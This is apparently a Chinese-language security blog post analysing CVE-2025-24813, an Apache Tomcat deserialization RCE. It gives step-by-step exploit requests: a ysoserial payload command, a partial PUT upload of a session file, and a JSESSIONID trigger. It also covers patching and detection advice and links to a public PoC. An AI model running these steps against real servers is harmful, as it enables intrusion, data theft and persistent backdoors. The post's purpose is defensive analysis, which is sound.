​​CVE-2025-24813 Apache Tomcat RCE 漏洞深度解析与 PoC

​​CVE-2025-24813 Apache Tomcat RCE 漏洞深度解析与 PoC

云梦DC 云梦安全 2025-05-29 01:00

一、漏洞核心原理

CVE-2025-24813 是 Apache Tomcat 中因 路径等效性缺陷 和 反序列化漏洞 结合导致的远程代码执行(RCE)漏洞。其核心机制如下:

CVE-2025-24813: Critical Apache Tomcat Vulnerability Already Being  Exploited – Patch Now! | XM Cyber

路径处理缺陷:Tomcat 在处理部分 PUT 请求时,会将 URL 路径中的 / 替换为 .,例如 /uploads/../sessions/ 被解析为 .uploads..sessions.,从而绕过目录限制。

反序列化触发:攻击者通过上传恶意序列化文件(如 .session 文件)至 Tomcat 的会话存储目录(默认路径为 work/Catalina/localhost/ROOT),并利用 JSESSIONID 触发反序列化,执行任意命令。

二、影响范围与利用条件

受影响版本:

Tomcat 9.x:9.0.0-M1 至 9.0.98

Tomcat 10.x:10.1.0-M1 至 10.1.34

Tomcat 11.x:11.0.0-M1 至 11.0.2

修复版本:9.0.99、10.1.35、11.0.3。

利用条件(需同时满足):

默认 Servlet 写入启用(readonly=false,默认关闭)。

支持部分 PUT 请求(默认启用)。

使用基于文件的会话持久化(需手动配置)。

类路径存在反序列化利用链库(如 commons-collections 3.2.1)。

三、PoC 利用步骤

环境配置:

修改 conf/web.xml,设置 false 启用写入。

修改 conf/context.xml,启用文件会话持久化。

将反序列化依赖库(如 commons-collections.jar)放入 WEB-INF/lib。

生成 Payload:

java -jar ysoserial.jar CommonsCollections6 “calc.exe” > payload.ser  

使用工具(如 Yakit)生成 Base64 编码的恶意序列化文件。

上传 Payload:

PUT /poc/session HTTP/1.1  

Host: target:8080  

Content-Range: bytes 0-1000/1200  

Content-Length: 1000  

[Binary payload data]  

若返回 HTTP 409 Conflict,表明文件已写入临时目录。

触发 RCE:

GET / HTTP/1.1  

Host: target:8080  

Cookie: JSESSIONID=.poc  

触发后,Tomcat 会反序列化 .poc.session 文件并执行命令(如弹出计算器)。

四、检测与防御建议

漏洞检测:

监控异常 PUT/GET 请求日志,尤其是包含 Content-Range 和 .session 路径的请求。

使用工具扫描类路径中的反序列化漏洞库(如 commons-collections)。

修复措施:

升级至安全版本:优先修补至 9.0.99、10.1.35 或 11.0.3。

禁用高危配置:

设置 readonly=true 阻止写入。

关闭部分 PUT 请求支持(修改 server.xml)。

移除危险依赖库:清理 commons-collections 等反序列化利用链组件。

应急缓解:

使用 WAF 拦截包含 Content-Range 和 JSESSIONID 的异常请求。

隔离会话存储目录,限制非授权进程访问。

五、攻击案例与影响评估

攻击趋势:漏洞披露后 30 小时内 PoC 公开,攻击源主要来自美国、中国、意大利等地,70% 针对美国服务器。

危害场景:

数据泄露:读取 /etc/passwd 或数据库配置文件。

持久化后门:上传恶意 JSP 文件或修改 server.xml。

检测盲区:Base64 编码的 Payload 可绕过传统 WAF,需依赖行为分析工具。

六、扩展资源

官方公告:Apache Tomcat 安全更新。

复现工具:

Yakit Web Fuzzer(支持 Payload 生成与漏洞触发)。

Burp Suite 自定义插件(拦截并修改 HTTP 请求)。

研究文章:

奇安信攻防社区:CVE-2025-24813 分析。

Wallarm 漏洞利用报告。

总结:CVE-2025-24813 的利用门槛因依赖非默认配置而受限,但一旦条件满足,其危害性极高。企业需结合 补丁管理、配置加固 与 行为监控 构建防御体系,避免成为攻击目标。

poc:https://github.com/absholi7ly/POC-CVE-2025-24813